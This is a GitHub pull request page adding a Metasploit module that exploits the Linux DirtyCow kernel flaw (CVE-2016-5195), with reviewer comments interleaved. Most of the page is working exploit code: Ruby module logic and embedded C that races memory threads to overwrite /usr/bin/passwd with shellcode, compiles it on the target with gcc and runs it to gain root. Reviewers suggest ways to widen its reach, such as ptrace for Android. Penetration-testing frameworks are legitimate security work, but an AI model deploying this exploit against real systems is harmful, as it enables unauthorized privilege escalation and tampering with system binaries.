Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2016-5195 - DirtyCow privilege escalation #7476

Closed
wants to merge 14 commits into from
194 changes: 194 additions & 0 deletions modules/exploits/linux/local/dirtycow.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,194 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info, {
'Name' => 'Linux Kernel DirtyCow Local Privilege Escalation',
'Description' => %q{
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

no mention of which kernels are vulnerable

Copy link
Contributor Author

@nixawk nixawk Oct 22, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die . https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails says

The bug has existed since around 2.6.22 (released in 2007)
  def check
    kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
    if kernel >= Gem::Version.new('2.6.22')
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this is scary , our college library uses some modified version of ubuntu called koha i think it is using this old kernal

A race condition was found in the way the Linux kernel's memory
subsystem handled the copy-on-write (COW) breakage of private
read-only memory mappings. An unprivileged local user could use
this flaw to gain write access to otherwise read-only memory mappings
and thus increase their privileges on the system.
The bug has existed since around Linux Kernel 2.6.22 (released in 2007).
},
'License' => MSF_LICENSE,
'Author' => [
bcoles marked this conversation as resolved.
Show resolved Hide resolved
'Phil Oester', # Vulnerability Discovery
'Robin Verton', # cowroot.c developer
'Nixawk' # original module developer
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'References' =>
[
['CVE', '2016-5195'],
['URL', 'https://dirtycow.ninja/'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/issues/25'],
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'],
['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619']
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 }],
[ 'Linux x64', { 'Arch' => ARCH_X86_64 }]
],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetuid' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 19 2016'
}))

register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
])
end

def check
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
if kernel >= Gem::Version.new('2.6.22')
CheckCode::Appears
else
CheckCode::Safe
end
end

def on_new_session(client)
client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end

bcoles marked this conversation as resolved.
Show resolved Hide resolved
def exploit
bcoles marked this conversation as resolved.
Show resolved Hide resolved
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end

main = %q^
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1, pth2, pth3;

char suid_binary[] = "/usr/bin/passwd";

SHELLCODE
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Curiously, you don't even need to do this if you have a watchdog checking for root. It's nice that the payload is within the PoC, though.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wvu-r7 Sorry for my poor english. What's the meaning of the word watchdog ?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm slightly abusing the term here. In this case, it's a check for root that doesn't execute the payload if it times out. I've been able to get away without a loop, though, due to how cmd_exec works. YMMV.


unsigned int shellcode_size = 0;


void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i, c=0;
for(i=0; i<1000000 && !stop; i++) {
c += madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
char *str;
str = (char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i, c=0;
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds like ptrace() is the way to go for maximum combat, instead of writing /proc/self/mem: https://github.com/scumjr/dirtycow-vdso

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ping @wvu @wvu-r7, apparently ptrace is more compatible on android, as some devices don't allow writing there.
If the vdso part works on all Android devices too in theory we could have module compatible with both linux and android :)

for(i=0; i<1000000 && !stop; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, shellcode_size);
}
printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
char buf[shellcode_size];

for(;;) {
FILE *fp = fopen(suid_binary, "rb");

fread(buf, shellcode_size, 1, fp);

if(memcmp(buf, shellcode, shellcode_size) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}

fclose(fp);
sleep(1);
}

stop = 1;
system(suid_binary);
}

int main(int argc, char *argv[]) {
char *backup;

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);

f = open(suid_binary,O_RDONLY);
fstat(f,&st);

char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, shellcode, shellcode_size+1);

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);

pthread_join(pth3, NULL);

return 0;
}
^
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestion,

  • Can we encode the source code by base64 for better appearance, then decode it before writing it to the desk?
  • Make compile(binary raw) as an option?

thanks

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd prefer the source code to be in the clear, especially considering there's some string replacement going on.

payload_file = generate_payload_exe
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c(payload_file, 64, "shellcode")
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload_file.length}")

evil_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(10)}"

write_file("#{evil_path}.c", main)
print_status("Compiling #{evil_path}.c via gcc")

output = cmd_exec("/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This makes the assumption gcc is installed and in that path. I'd put in a check to see if GCC is there or not, similar to https://github.com/rapid7/metasploit-framework/pull/7402/files#diff-97a861419258a173797265eb4a35a110R170

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a binary-dropping method as well. It's not ideal, but neither is shelling out to GCC, and you're already writing the source to disk. Preferably, you should have the option of either.

output.each_line { |line| vprint_status(line.chomp) }

print_status("Executing at #{Time.now}.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What is this for? Does WfsDelay not work for you?

output = cmd_exec("chmod +x #{evil_path}.out; #{evil_path}.out")
output.each_line { |line| vprint_status(line.chomp) }

register_file_for_cleanup("#{evil_path}.c")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should restore /usr/bin/passwd from /tmp/bak, then clean up /tmp/bak. Ideally, you should make the SUID binary and location of bak configurable.

register_file_for_cleanup("#{evil_path}.out")
end
end